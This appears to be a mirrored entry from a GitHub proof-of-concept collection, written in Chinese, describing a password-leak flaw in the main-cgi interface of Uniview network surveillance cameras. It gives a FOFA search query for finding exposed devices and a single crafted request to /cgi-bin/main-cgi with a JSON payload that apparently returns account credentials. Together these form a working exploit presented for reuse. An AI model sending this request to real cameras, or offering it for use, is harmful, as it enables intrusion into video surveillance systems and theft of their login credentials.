mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-08 20:05:25 +00:00
26 lines
1.2 KiB
Markdown
26 lines
1.2 KiB
Markdown
# 浙江宇视科技视频监控main-cgi密码泄露漏洞
|
||
|
||
### 一、漏洞描述
|
||
<font style="color:rgb(62, 62, 62);">宇视(Uniview)高清网络摄像机是一种高性能的网络摄像机，它可以通过网络进行视频传输和监控。该摄像机采用先进的视频技术，具有高清晰度、低照度、宽动态等特点，能够提供高质量的视频图像。该系统main-cgi接口处存在信息泄露漏洞，可以获取账号密码</font>
|
||
|
||
### 二、影响版本
|
||
uniview-视频监控
|
||
|
||
### 三、资产测绘
|
||
fofa：app="uniview-视频监控"
|
||
|
||
特征：
|
||
|
||
|
||
|
||
### 四、漏洞复现
|
||
```plain
|
||
/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}
|
||
```
|
||
|
||
|
||
|
||
|
||
|
||
> 更新: 2024-02-29 23:57:12
|
||
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/bky3gsuwp052gmtn> |